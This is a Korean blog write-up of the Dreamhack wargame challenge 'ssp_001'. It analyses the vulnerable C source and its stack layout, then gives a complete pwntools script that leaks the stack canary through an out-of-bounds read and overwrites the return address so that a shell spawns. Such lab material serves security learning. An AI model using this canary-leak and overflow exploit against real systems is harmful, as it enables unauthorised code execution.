[드림핵] ssp_001
A A

문제: https://dreamhack.io/wargame/challenges/33

 

ssp_001

Description 이 문제는 작동하고 있는 서비스(ssp_001)의 바이너리와 소스코드가 주어집니다. 프로그램의 취약점을 찾고 SSP 방어 기법을 우회하여 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세

dreamhack.io

 

📍 보호기법

 

32비트 아키텍처, 카나리 있음, 파이 없음

 

📍 소스코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

 

F 입력:

40바이트 크기의 배열인 box의 사이즈만큼 read() 함수로 입력받아 box에 저장한다.

 

P 입력:

scanf()의 %d 형식지정자로 입력을 받아, 0으로 초기화된 정수형 변수 idx에 저장한다.

print_box() 함수를 실행한다.

box[idx]의 값을 %02x 형식지정자로 출력한다.

이때 box 배열에서 출력할 인덱스(idx)를 직접 정할 수 있으므로, box 배열의 범위를 벗어난 곳의 값을 출력할 수 있다.

 

E 입력:

scanf()의 %d 형식지정자로 입력을 받아, 0으로 초기화된 정수형 변수 name_len에 저장한다.

name_len 크기만큼 read() 함수로 입력받아 name 배열에 저장한다.

이때 입력받는 최대 바이트(name_len)를 직접 정할 수 있으므로, name 배열의 크기를 넘어서는 입력을 줄 수 있다.

 

 

get_shell() 함수가 있으니까 리턴주소를 get_shell()의 주소로 덮으면 될 것 같다.

그런데 보호기법에 Canary가 발견되었으므로, 카나리 값을 찾아내야 한다.

 

지금까지 추측으로는,

case P에서 카나리 릭 하고,

case E에서 name 배열에서부터 리턴주소를 덮으면 될 것 같다.

솔직히 case F는 뭔 쓰임이 있는지 아직 잘 모르겠다.

 

이제 변수들의 위치를 정확히 알기 위해 바이너리를 분석해 보자.

 

🫧 스택 프레임 구조

case F

case F의 분기문이다.

box 배열의 위치는 [ebp-0x88]이다.

 

 

case P

case P의 분기문이다.

scanf 전에 꺼내는 [ebp-0x94]가 idx이다.

 

 

case E

scanf 전에 꺼내는 [ebp-0x90]이 name_len이고,

read 전에 name_len과 함께 꺼내는 [ebp-0x48]이 name이다.

 

 

Canary

 

32비트 아키텍처라서 카나리가 [ebp-0x4]에 있을 거라고 예상했는데,

gs:0x14에 있는 실제 카나리 값과 xor 연산을 수행하는 값은 [ebp-0x8]에 있는 값이었다.

 

근데 연산 결과가 참이면 실행하는 게 [ebp-0x4]의 값을 edi에 복사하는 거다.

그러고 나서 바로 leave; ret을 수행한다.

그럼 [ebp-0x4]에는 뭐가 들어 있는 거지...? 👻

 

 

일단 정리하자면 변수들의 위치는 다음과 같다.

box: [ebp-0x88]
idx: [ebp-0x94]
name_len: [ebp-0x90]
name: [ebp-0x48]
Canary: [ebp-0x8]

 

 

즉 스택 프레임은 이렇게 생겼다.

(높은 주소)

| 리턴주소 |
| 베이스 포인터 |
| 카나리 |
| name |
| box |
| name_len |
| idx |

(낮은 주소)

 

 

 

🫧 시나리오

idx 값은 box와 카나리 간 offset = 0x80에 카나리 첫 바이트(\00)를 고려해 1을 더한다.

근데? print_box() 함수에서 %02x로 1바이트씩 출력을 해주니까?

4바이트 크기의 카나리에서 널 바이트는 빼고 3바이트를 출력해야 하니까?

3번 반복해야 할 것 같다!! 👊👊👊

라고 생각했는데 널 바이트로 미리 카나리를 초기화해놓고 거기다가 1바이트씩 리틀엔디안으로 변환해서 붙이려니까 코드가 너무 더러워졌다.

그래서 카나리 4바이트 중 맨 뒤의 바이트부터 거꾸로 출력한 다음, p32()로 한 번에 리틀엔디안으로 뒤집기로 했다.

 

스크립트를 작성해 보자.

 

from pwn import *

p = remote('host3.dreamhack.games', 9942)
e = ELF("./ssp_001")

get_shell = e.symbols['get_shell']

canary = b""

for i in range(131, 127, -1):
    p.sendlineafter("> ", 'P')
    p.sendlineafter("index : ", str(i))
    p.recvuntil("is : ")
    canary += p.recvn(2)

canary = int(canary, 16)

payload = b'A'*0x40 + p32(canary) + b'B'*4 + b'C'*4 + p32(get_shell)

p.sendlineafter("> ", 'E')
p.sendlineafter('Size : ', str(2000))
p.sendlineafter('Name : ', payload)

p.interactive()

 

'P'는 잘 써놓고 'E' 입력하는 거 빼먹어서 오래 삽질했다... 괴로운 시간이었다.

 

 

 

그리고 파일명에 pwn을 썼더니 스크립트 맨 위에 있는 from pwn 구문에서 에러가 생겼다.

파이썬은 이걸 해석할 때 pwntools가 아니라 내 파일 pwn.py라고 생각한다고 한다...

바로 개명해줬다.

 

 

 

 

🚩

 

🧙‍♂️

pwntools가 아직 안 익숙해서 계속 어렵게 느껴진다...

그래도 여러 번 혼자 써보려고 하다 보니 전보다 거리감이 많이 줄었다!

전에는 남들의 라업 보면서 이걸 뚝딱뚝딱 어떻게 쓰지? 했는데 나도 고지가 머지않은 느낌(hopefully)

'𝐖𝐚𝐫𝐠𝐚𝐦𝐞𝐬 > 𝐏𝐰𝐧𝐚𝐛𝐥𝐞' 카테고리의 다른 글

[드림핵] rop  (0) 2025.03.29
[드림핵] Return to Library  (0) 2025.03.28
[드림핵] Return to Shellcode  (0) 2025.03.26
[드림핵] basic_heap_overflow  (0) 2025.03.25
[드림핵] cmd_center  (0) 2025.03.23
Copyright 2024. GRAVITY all rights reserved